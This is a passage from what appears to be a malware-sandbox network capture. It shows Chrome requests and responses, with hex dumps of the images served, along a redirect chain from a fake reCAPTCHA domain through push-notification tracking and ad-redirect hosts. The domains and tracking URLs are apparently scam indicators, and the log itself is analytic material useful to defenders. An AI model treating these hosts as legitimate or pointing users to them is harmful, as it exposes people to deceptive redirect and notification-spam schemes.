2024-10-03 15:18:42 UTC	1369	IN	Data Raw: d4 13 d0 07 90 d0 bc ca 4d 2b 6a 4d 26 3f 65 34 95 45 7a ae b0 bc 02 3f 19 c0 60 be 71 33 47 e3 00 02 b8 ea 20 8a a3 1f 4e 71 bc 47 4b 26 3a 14 9b ac a2 c9 8e 04 b0 28 21 bf 81 8c fd fc 6d a1 4b 91 34 12 44 7e 52 8b d0 54 7f 23 37 4a 22 1c 56 84 e9 2c e4 b3 c5 e5 28 bd 05 47 f1 72 f4 a6 b6 71 3a 12 c3 c9 ce 0d d5 b8 95 ad 2f 08 27 57 ac f5 43 d9 97 10 49 ea 86 19 0f 8f a7 b3 51 d0 04 09 c5 ea 5a 34 fe 4f 1e 50 02 bf 71 0b 8b a3 2b a2 43 dc 5e 02 74 da 6a 38 29 13 2b d0 b4 53 8e e2 24 5f 39 74 07 5b ea ed 21 93 48 f7 ab da 2d c5 d0 b2 79 be 32 0b c0 57 73 d1 d0 1c 0d a5 68 5a a3 83 91 9d 7f 1a 89 52 97 d0 cb ce d2 1c 0d b5 a0 b5 84 13 f7 3a a7 2b d2 cb af c6 f0 95 2f 9c 1c e1 c5 dd 41 47 c5 50 b4 2f 1d 0e b8 58 01 40 5a 78 86 ba c0 54 03 00 29 e0 12 59 e9 Data Ascii: M+jM&?e4Ez?`q3G NqGK&:(!mK4D~RT#7J"V,(Grq:/'WCIQZ4OPq+C^tj8)+S$_9t[!H-y2WshZR:+/AGP/X@ZxT)Y
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 42 07 09 2b 02 ed e0 c7 ed 4a 72 c8 5b ae 38 2e 4d 39 21 9c f6 73 a0 09 67 6d fa e8 1e d0 6d 09 b6 47 f5 5e ff 00 49 53 74 9b 5b d3 9e 64 e9 7d 0c ae 50 dc ab ef ce e5 d6 bf 9f 34 88 2f 5a 14 cb 99 50 8f 78 22 74 bf ac 31 7a d6 8d 22 72 e0 42 44 5e 86 7d 0e 5c da 67 03 4e 65 40 74 83 21 b7 12 0b 37 a5 e9 a1 02 b2 0e 41 62 3c 1c 3a 6b f0 e2 5f fc fe 2d ac 46 1c 71 67 52 77 dd 99 3e 59 8b a4 8b 97 3d 66 75 d0 b6 8a 24 5a a4 8a 4e 8e 44 3c 05 e2 0d 61 18 98 7a 6e 52 44 fe c5 ee 24 f3 48 0c 5b e6 14 d1 7a e5 24 ea 42 f2 58 72 0c 33 53 cc 11 47 df b7 59 69 59 04 42 b5 af 17 9c ec fb 24 57 af 24 8b 74 8e 5d e3 6e fa 5e 6c 78 6d c7 34 93 65 82 e5 6b ca d4 17 16 60 7a 49 e8 df 4e e6 62 f9 37 9d ea 6a 79 d1 e1 dd c8 8d 4b 8b fe 27 82 da d9 b1 a2 8c ad 17 8a 4a eb Data Ascii: B+Jr[8.M9!sgmmG^ISt[d}P4/ZPx"t1z"rBD^}\gNe@t!7Ab<:k_-FqgRw>Y=fu$ZND<aznRD$H[z$BXr3SGYiYB$W$t]n^lxm4ek`zINb7jyK'J
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 8c 75 af 40 62 b4 13 61 58 a6 cc 50 e6 89 82 f5 c9 12 97 32 0f 14 fe 66 85 a3 51 0c 85 e9 7e 93 d3 ba 7c 61 aa 7f ef ef a1 ee 5c 5d 05 22 7b 59 fc 1c 91 a0 40 d5 31 78 80 5b 93 86 16 6d 3d e7 4a 6f 38 38 49 56 f3 58 7b 8d e7 5d 79 5c 20 18 6f c9 44 48 ca 44 57 2f 8a ee 60 63 46 39 eb 44 43 13 c7 af 73 71 d4 26 d3 33 6d aa da 32 5f ef 13 d6 1e 42 04 ca 5e e7 58 65 bf 18 ca 5d 80 b3 73 02 0d 1c 7c 34 4f 91 6c 2a 2a 78 04 d1 30 15 d0 76 c7 a1 1e 65 42 86 79 1a 37 5d 02 27 4b 9e 99 bc a0 45 88 ec 18 60 6f f2 59 bf e6 23 90 64 ed 31 df b8 96 16 9e fb f2 d5 20 83 4b 10 60 d5 a3 aa 5e a0 ae c4 e2 03 60 c6 72 6e d1 cc 75 6f a7 92 55 32 c8 a4 3a 5a 57 94 61 cc 75 cb cf 4b e1 9e 23 ae 48 23 1e 99 47 a2 b2 c8 28 df 19 70 82 a1 14 94 8d c8 5c 1f bf a0 a1 e8 72 aa fb Data Ascii: u@baXP2fQ~\|a\]"{Y@1x[m=Jo88IVX{]y\ oDHDW/`cF9DCsq&3m2_B^Xe]s\|4Ol**x0veBy7]'KE`oY#d1 K`^`rnuoU2:ZWauK#H#G(p\r
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 22 9a 49 21 71 26 c1 58 3d f3 ae 05 c8 6b 72 a6 06 7a 6f 3d 3c 46 74 23 b5 98 55 0b e8 2f 53 03 95 1e ec eb d1 ba 71 e6 a8 e4 d2 4e 9e 66 8b 88 2c 6b ea 1c 33 c7 9e 65 b5 0b 0c db c4 5e 84 3b 5e d1 11 ec bd 22 f5 98 9e af 49 a5 a6 27 f0 52 b3 79 88 8e a9 1e 1a c4 4c f7 fd c4 f5 78 98 bd bd a3 2d c7 3f 29 ea 8c 52 d1 f3 9e dd 15 b9 9f 90 fa 99 99 9e f3 3e dd 46 49 8b a9 4d 1a 56 7c 19 19 92 be 0c 2d 3f ce e3 5b 28 24 8c 66 be 6a ac c0 4f 4d ae 50 06 55 ef 65 65 a0 21 ca 35 3d ea f0 2a e8 3c 07 76 b1 a1 69 f3 28 7f eb 1c df 67 2b 54 c7 cc 82 06 b3 6b df 93 63 95 08 35 5c a7 8f 31 63 68 f1 ed 4a 50 73 17 c7 53 88 98 15 87 e8 30 9f 8d 8f 17 de dc 26 5e 7d a8 3d f3 7a 2e ad dd f0 4c 8f 17 30 89 e5 af 13 1d ef 98 a9 1b c1 d5 0d 23 bd f2 36 90 ae 68 68 c3 34 09 Data Ascii: "I!q&X=krzo=<Ft#U/SqNf,k3e^;^"I'RyLx-?)R>FIMV\|-?[($fjOMPUee!5=*<vi(g+Tkc5\1chJPsS0&^}=z.L0#6hh4
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: b5 6a 57 30 71 3d a7 3b 56 c2 6c 92 da 92 a5 f1 1c 81 59 68 22 43 50 b9 5a 24 8f 4b 15 a9 7a 97 33 50 b2 49 21 3d c3 c5 96 ff 00 7a 18 b4 78 ae c6 4b de 63 69 d1 93 5c f5 ca d2 01 10 9f 4f ad e0 38 ae cd 8c 88 ca 7b 16 b9 5a 42 e9 1b d9 09 3c 83 19 d8 82 69 35 7a 5a 93 8e e7 69 14 ce 6d 33 fd 2b 43 ca 3b a7 3a c4 5e d9 0e c5 6f 37 be 6d 73 e7 25 ff 00 29 93 cb 4b 7b b1 b0 db b8 c3 9c 2a 12 b7 26 5e 99 a1 b3 15 b2 28 4b e4 3d 13 a0 62 e8 2f e4 17 25 e8 ab 8c 19 d5 2e a9 32 1e 8a 15 93 15 2b a7 39 0f 78 0a 38 32 21 4c 98 cf 4d 23 2c 56 ad a0 d9 9a 86 96 ab 2d a4 15 0b 92 ff 00 68 82 7f e0 26 d9 9a 36 97 e9 0f da 84 26 3b f4 2a 03 84 2f 25 a6 3b e4 30 4e 50 b6 cb 55 c8 7a 6f 05 21 34 44 dc e5 3b 5b ff 00 b6 76 fd d7 6f ff 00 0f f1 16 f7 dd dc eb e2 2d ef bb Data Ascii: jW0q=;VlYh"CPZ$Kz3PI!=zxKci\O8{ZB<i5zZim3+C;:^o7ms%)K{&^(K=b/%.2+9x82!LM#,V-h&6&;/%;0NPUzo!4D;[vo-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49751	104.26.2.30	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:41 UTC	475	OUT	GET /pb-message.png HTTP/1.1 Host: static.imghst-de.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:42 UTC	685	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 15:18:41 GMT Content-Type: image/png Content-Length: 203 Connection: close Last-Modified: Thu, 28 Oct 2021 08:42:04 GMT ETag: "617a625c-cb" Access-Control-Allow-Origin: * Cache-Control: max-age=691200 CF-Cache-Status: HIT Age: 67 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5OFaI6mKEwhfHbMpTivKwtsU0BfolMEvmC0Zr%2BjkL2BFNyaOR8Yofla64gynfiSRvCX4Htgtx8E%2FQaWjTqEn%2F3Gmnb44hUmk%2FtYIQKv7GWynWGI9gPvl%2FXGWBGimp4FF5IQHJwoA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde7fd6ecf433f-EWR
2024-10-03 15:18:42 UTC	203	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 04 00 00 00 fd 0b 31 0c 00 00 00 92 49 44 41 54 58 c3 ed d6 3b 0e 80 20 10 45 d1 b7 0d c3 62 5d 8b 05 fb b2 81 46 57 e0 07 d4 82 a8 01 0b c3 4c c4 30 6f fa 7b 0a 1a 00 59 49 53 d0 b0 f0 99 67 f7 8a 4a e5 1b 0c d9 f1 70 63 8a e8 c8 f2 c7 e9 18 e8 49 01 13 03 13 29 e0 0b 05 c2 2a 05 66 01 04 28 1f 58 aa 00 de 9c 00 05 3e f2 2a 00 05 90 f5 c8 3f 03 0c 37 90 f8 3a 3a c2 7c f2 f3 4b 05 3c 7e df ef 40 0b f2 39 de fc 15 60 c9 9f 00 53 3e 00 6c 79 70 e7 c1 9d 07 77 5e f6 dd 36 d5 76 cf ab fd 90 a8 2b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR001IDATX; Eb]FWL0o{YISgJpcI)f(X>?7::\|K<~@9`S>lypw^6v+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49749	18.156.16.189	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:42 UTC	764	OUT	GET /favicon.ico HTTP/1.1 Host: k8cpmrdof.thebigbonusleader.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://k8cpmrdof.thebigbonusleader.xyz/vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_body Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sid=t6~gsmkraetmfbssfnztncro0il; p1=https://molhajane.live/iltnvcec/; s1=j2nhn2snczp7wtz3
2024-10-03 15:18:42 UTC	131	IN	HTTP/1.1 204 No Content Server: openresty Date: Thu, 03 Oct 2024 15:18:42 GMT Connection: close Cache-Control: no-transform

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49753	104.26.3.30	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:43 UTC	815	OUT	GET /?s58=jyOgdF1Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPeo0gq23Mt8ILUxk545bChmPaGwy%2FIt8CcRULb0Lsl9N0PyXrDYiopWUdriWd9kNFdUIJZkIbYOF9jC%2Bm%2BfKc%2BbfS6Ybi%2FntwiYDHGYkqiUGlFv966YPhMWx2fGazJtJY0n4pLRxWSHVXsyqa0yLT0MYzKlnWWPEKt1FKh1HXnES%2BpKr1%2FTePWXECJe8A%2Ftfysj5rBw%3D%3D&brid=PB04-0HN6JRJINBG0M4IRS&type=1&inst=b04 HTTP/1.1 Host: trk.imghst-de.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:43 UTC	579	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:18:43 GMT Content-Length: 0 Connection: close Location: https://static.imghst-de.com/c30c1f52-c75e-474f-895a-8875d71846db.png CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DA7QhvBv2LRchFaMOaYX%2F0p4hIGEGRMi%2FIMNaUl3Eege6ead2j2auxEtszF22nQkqftHVqGzgh71r2F1dVWXapM2A4Gbwv%2FzQVVlcJW7DkFSbAcTwQ0zHMJbd5qux%2FSImcgf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde8078fcf429e-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49754	185.36.140.14	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:43 UTC	844	OUT	GET /iltnvcec/?u1=k8cpmrd&o1=vw92awy&m=1&t=pshtbnewlink1208_redirectUrl_body&f=1&sid=t6~gsmkraetmfbssfnztncro0il&fp=wWnRD%2BVSrlJR70eh%2F5OBUA%3D%3D HTTP/1.1 Host: search.molhajane.live Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://k8cpmrdof.thebigbonusleader.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:44 UTC	413	IN	HTTP/1.1 302 Found Server: openresty Date: Thu, 03 Oct 2024 15:18:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 253 Connection: close cache-control: private location: https://rtb.altairfomalhaut.com/dc?pl=pUDXrZrnZkywHW1RPUuKlQ&cid=d5c93091-29b0-4730-a28e-4d844c1a45a9&sub_id=l92848&ccode=US referrer-policy: no-referrer set-cookie: cookie1=true; expires=Fri, 04-Oct-2024 15:18:42 GMT
2024-10-03 15:18:44 UTC	253	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 74 62 2e 61 6c 74 61 69 72 66 6f 6d 61 6c 68 61 75 74 2e 63 6f 6d 2f 64 63 3f 70 6c 3d 70 55 44 58 72 5a 72 6e 5a 6b 79 77 48 57 31 52 50 55 75 4b 6c 51 26 61 6d 70 3b 63 69 64 3d 64 35 63 39 33 30 39 31 2d 32 39 62 30 2d 34 37 33 30 2d 61 32 38 65 2d 34 64 38 34 34 63 31 61 34 35 61 39 26 61 6d 70 3b 73 75 62 5f 69 64 3d 6c 39 32 38 34 38 26 61 6d 70 3b 63 63 6f 64 65 3d 55 53 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://rtb.altairfomalhaut.com/dc?pl=pUDXrZrnZkywHW1RPUuKlQ&cid=d5c93091-29b0-4730-a28e-4d844c1a45a9&sub_id=l92848&ccode=US">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49756	104.26.2.30	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:43 UTC	501	OUT	GET /c30c1f52-c75e-474f-895a-8875d71846db.png HTTP/1.1 Host: static.imghst-de.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:43 UTC	691	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 15:18:43 GMT Content-Type: image/png Content-Length: 3837 Connection: close Last-Modified: Tue, 24 Sep 2024 10:55:15 GMT ETag: "66f29a93-efd" Access-Control-Allow-Origin: * Cache-Control: max-age=691200 CF-Cache-Status: HIT Age: 4517 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RlMjg96hkEJuETc2U6hhhmT00NcUvFJkynuIAirhx1rz7%2FA%2FlnQLDu%2FscBbPRYAP3UQP5sbx%2FfspFXUPbtE2nBrvf0znlgK4pjvxg2ZAVEkwGkGEEah%2FMAGVzkwr0nP%2BxGePhQ02"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde80c4a1f1988-EWR
2024-10-03 15:18:43 UTC	678	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 7e 50 4c 54 45 47 70 4c 51 50 5d 53 52 5f 52 51 5e 66 53 5e 51 50 5d fe 14 14 69 53 5e 53 52 60 73 5e 68 52 51 5e 52 51 5e 52 51 5f 52 51 5e 52 50 5d ff f6 f6 ff 3b 3b ff e3 e3 ff 0d 0d fe 2f 2f ff 5a 5a ff c9 c9 ff 4b 4b ff ae ae ff 78 78 fe 18 19 ff 20 20 ff 91 91 ae 39 3f d7 67 6a ff f2 f2 ff d6 d6 ff a5 a5 ff f0 f0 c7 32 37 8d 47 4f 51 50 5d ff 00 00 ff ff ff 53 52 60 ff 38 38 7e 53 5c 6d c6 ed 2a 00 00 00 24 74 52 4e 53 00 35 ec cc 23 4f fc 13 f8 07 b6 82 df 9e 68 fb 95 fe eb 6d fd fd 42 fe fd d5 b6 fe fd de b6 4a e0 78 bb d5 9f 1a db f6 00 00 0d ed 49 44 41 Data Ascii: PNGIHDRe5gAMAasRGB~PLTEGpLQP]SR_RQ^fS^QP]iS^SR`s^hRQ^RQ^RQ_RQ^RP];;//ZZKKxx 9?gj27GOQP]SR`88~S\m*$tRNS5#OhmBJxIDA
2024-10-03 15:18:43 UTC	1369	IN	Data Raw: 83 69 9c cb a5 9d 4d a3 28 cf 43 2e 6e 98 58 73 05 b6 d9 fc 78 32 18 79 e2 ca d2 b0 9a 2d d9 f2 37 92 30 cc 5b 30 8b 1b eb 20 25 15 b4 9b cd eb 83 b0 cd ea 4f e4 5e 1e ff e1 3c 84 f6 9f b4 81 37 d6 cb 10 d0 82 3c 65 b6 f6 7c 1e 81 f1 88 da 47 23 bf 97 97 ee 2c cd d9 d3 3f bc 35 83 15 74 91 ff e7 cf db ce b7 a7 b5 1e 8f 2a 3c 9e 90 f0 d8 2f 68 4a c3 bc 5b c2 e8 5a 44 41 1c 3e 6d 7e 6b bd 2d 6e 0b c2 fa 25 41 a5 d5 80 d7 92 a9 74 dc af 2d f1 12 00 25 79 ca f8 2e 6c 27 52 44 33 18 6a 25 0f b6 48 91 ac 23 e2 19 27 2d 3d 02 10 19 82 a7 cc 78 3a c1 a5 44 44 48 61 69 62 9a aa 2e 40 cc c0 20 d9 12 00 19 99 34 5e 56 cd d9 f4 9c 12 15 e4 36 08 3b 2a 40 e4 64 12 05 5b 04 a0 20 b6 dc cc 65 8e b0 fd 19 f5 95 12 43 9c e2 89 a6 82 6b 94 92 97 9e dc 56 72 58 b1 04 40 4a Data Ascii: iM(C.nXsx2y-70[0 %O^<7<e\|G#,?5t</hJ[ZDA>m~k-n%At-%y.l'RD3j%H#'-=x:DDHaib.@ 4^V6;@d[ eCkVrX@J
2024-10-03 15:18:43 UTC	1369	IN	Data Raw: 42 02 f8 3a 1b e5 87 a4 2b df 23 30 e6 43 19 f3 c8 80 22 20 11 b5 e0 0d 81 56 60 b5 07 99 19 59 6c e5 c2 93 af e9 18 90 04 24 b7 17 41 c1 01 c3 5f b9 fa a5 26 c0 1f 79 bb dd fe 34 9c 32 87 2c 64 f9 f1 67 b1 f1 2f c7 ab f8 af 13 d0 b0 2c 5d fd 6a 1c c3 87 ba d6 88 53 cc 7c 01 78 15 29 f4 71 dd ef 25 05 ef 60 cb b2 f5 0f e8 c2 11 a5 9c 5a 2e bb cf 3a 31 5a c6 b2 86 dd 8e f7 fb e5 21 05 c5 fa f3 45 a3 b1 0c fb ba 04 2f 0b 63 3b 00 aa 09 b8 df ef fb 9b 14 14 cc 23 01 66 18 77 f1 b8 6c 64 38 c1 80 26 60 cf 01 dc 8f 0f 89 40 dd 33 f1 f0 64 34 e5 a5 80 f5 0e db d0 92 6a 6c 07 80 5f 45 0a 7d 5c ee ed fa 25 01 7c fa 0a e1 6e bf 81 32 89 a4 5a 64 3e 00 c8 14 fa 6b df 01 30 29 60 61 e6 e7 19 7b 30 a2 91 83 cb 25 14 10 2b 00 95 42 05 01 f7 fb 55 16 b5 4f 7f 04 b4 61 Data Ascii: B:+#0C" V`Yl$A_&y42,dg/,]jS\|x)q%`Z.:1Z!E/c;#fwld8&`@3d4jl_E}\%\|n2Zd>k0)`a{0%+BUOa
2024-10-03 15:18:43 UTC	421	IN	Data Raw: 57 92 ab 2a 34 2f 08 60 84 77 2a 85 5e e7 a2 f4 61 43 28 4f 8f 93 77 ff 7f 23 a2 a7 40 19 e9 ff f5 34 7a a8 c7 5a f6 65 00 e4 e9 f1 db d9 3b 00 de 05 98 1a 9a 44 e6 7d f3 79 02 2c 53 09 13 e3 26 a7 c7 02 41 69 22 e0 81 80 c6 4e 84 ed d6 59 3b b2 2f a8 66 63 27 c6 2c 04 6e f4 9a cc d6 b0 66 8e d8 de 95 98 f8 0e 7d 7a 8c be 00 01 4f fe d2 8d 28 3c 11 9e 40 70 b4 4b 09 f3 2e d4 06 a9 b4 3f ee 12 b1 dc bd 5b fa 5c cf c5 e7 b3 4b de 85 f2 5f cd ba 40 e8 0d 55 18 6b 49 d0 04 1c f5 da 1f f7 cf 2e fe bd 6a 6d 4b c1 f0 46 35 63 45 a0 52 68 9d 58 d6 69 b0 12 eb da 96 02 8e a0 df 0d b3 30 3b d5 1b ac c3 46 7f f1 88 0e 86 2a ec 63 0b fb 37 a3 a0 91 15 3d 12 1e 9b 00 d8 a4 16 8c 8f 24 fe d7 de 19 ac 00 08 c2 00 54 23 ad 15 45 10 74 88 ba 74 09 ff ff 07 d3 c2 c8 5a de Data Ascii: W4/`w^aC(Ow#@4zZe;D}y,S&Ai"NY;/fc',nf}zO(<@pK.?[\K_@UkI.jmKF5cERhXi0;F*c7=$T#EttZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49758	188.114.97.3	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:45 UTC	744	OUT	GET /dc?pl=pUDXrZrnZkywHW1RPUuKlQ&cid=d5c93091-29b0-4730-a28e-4d844c1a45a9&sub_id=l92848&ccode=US HTTP/1.1 Host: rtb.altairfomalhaut.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:45 UTC	829	IN	HTTP/1.1 204 No Content Date: Thu, 03 Oct 2024 15:18:45 GMT Connection: close set-cookie: __dcu=ae556d7f-d97f-44b7-a1d2-18610df11573; expires=Sat, 03 Oct 2026 15:18:45 GMT; path=/; secure; samesite=none cache-control: max-age=0, no-cache, no-store, must-revalidate referrer-policy: no-referrer x-frame-options: DENY accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dad%2FdXBYLZLT0uaFdL9VWjZSJtEzbJHMFrWj22rbFHtMbzJH9aDDCCnEicKGp%2B4n8iiiQe1QD6QKy7K2lXuXBMGotQ42UAxJI8AK6Wwd%2Bcqx9U4%2F8dn5zt9Vctp9f6tcxVykAHR2CCwP9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde8150f704268-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	55756	136.243.216.232	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:53 UTC	1872	OUT	GET /20241003?k=U44lsCOixoLdPVTqQDAVt33hSwCn8Oi6-ady7gSLDQv6Gqyq4Owim4xM6D1auzWervMQ-DlA3DRt2HY_--UtM7HWutlvs97OkAGFQoWboc952kpHR1Q2fKfJufmageMnrbBSCF7sw7hsqSVLJYZfIYTz2Losd_bqjYxfZN6QK3T-7TQP9VO4ALBUhoeqNQvW0xezb3dxvVHUvJRqRkwanr9MPAvh_PHQ9wQTa000ngX2io5op-hW9u-ZbpvmmzCWnfQ_IW83XknX1WAmVxwjeeodHQQhpef1NeKDWlr6ttTrSe5sgPkvWbBE2EKw4q62h_STOIubizalkAgaUJbqZUPzYOLsRL3yS6FoWRPXh1U4FhzNV16Mnv0YI3qQbCHutAQPrwjK-8Nbd3QIjH3E68g4o460dYQ2Ea3ZpQ4UbwqKWXBl8qvwAiJ1-mD7gkx6P_AhZ7nH2HXcqFsVRhK95MmLRRuOq8kWD9aF9BAzYQQdsq8F4yxorEs-5_liyOShzBG1cRqsVeHiqJeC-ZDBVPt0__BxRdfC1mD-akPmr_UpaRfZhg2BUJjTK-a4GR_uwVsOu5U0yz6q4jimE--w9X3fVqRJ3RvFpWmN0lQ-rUJ8CIzQoWdUtyGoq0Zn4fCTncH8Xpy4PEDnecow5HpX0ovMlQds-kAk1589rQrnxgX1EOSkkgqnRG6Kt6TwoZjLQoW19FfMUotnrIrKc4JjetfNekqAvJjfR1uh0RgHnyewIC-DGhL1lJ8yE0q7r253R2qkFkBdEboIECxf-Tw0e0rpd7I0siJUTnqiTM9M2VfMSM_ThSoFO9Y-Bmphm2W0SnNi1GX0pDkAn3WG_vmywKf_wZ4QymBFYW2jOn59Aduhrh6S0RrsippRRZfco_8vOu-Rc6QslBbum_bs3YT64WQkT8aAgdx1Yj2lW8AOW_r9LYt_Rbki3XHZWhJP5iVovhK5FNUTsF0d9HmvLnoCpVB7woCnzRcGliPky2lvOPrqgiwl [TRUNCATED] Host: pshmtrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: 